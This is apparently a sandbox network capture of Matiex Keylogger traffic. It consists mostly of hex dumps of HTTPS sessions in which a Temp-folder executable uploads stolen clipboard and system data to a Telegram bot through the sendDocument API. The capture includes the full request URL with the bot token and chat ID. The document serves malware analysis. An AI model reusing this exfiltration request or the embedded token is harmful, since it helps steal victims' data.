2021-09-13 04:32:03 UTC	1389	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:03 UTC	1405	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:03 UTC	1421	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:03 UTC	1437	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:03 UTC	1453	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:03 UTC	1469	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:03 UTC	1485	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:03 UTC	1501	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:03 UTC	1517	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:03 UTC	1533	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:03 UTC	1549	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:03 UTC	1565	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:03 UTC	1581	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:03 UTC	1597	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:03 UTC	1613	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:03 UTC	1629	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:03 UTC	1639	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:03 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:03 UTC	1640	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 33 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":290,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507523,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49797	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:03 UTC	1641	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803363b60f Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:03 UTC	1641	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 33 36 33 62 36 30 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803363b60fContent-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:04 UTC	1642	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:04 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:04 UTC	1642	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 34 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":291,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507524,"do

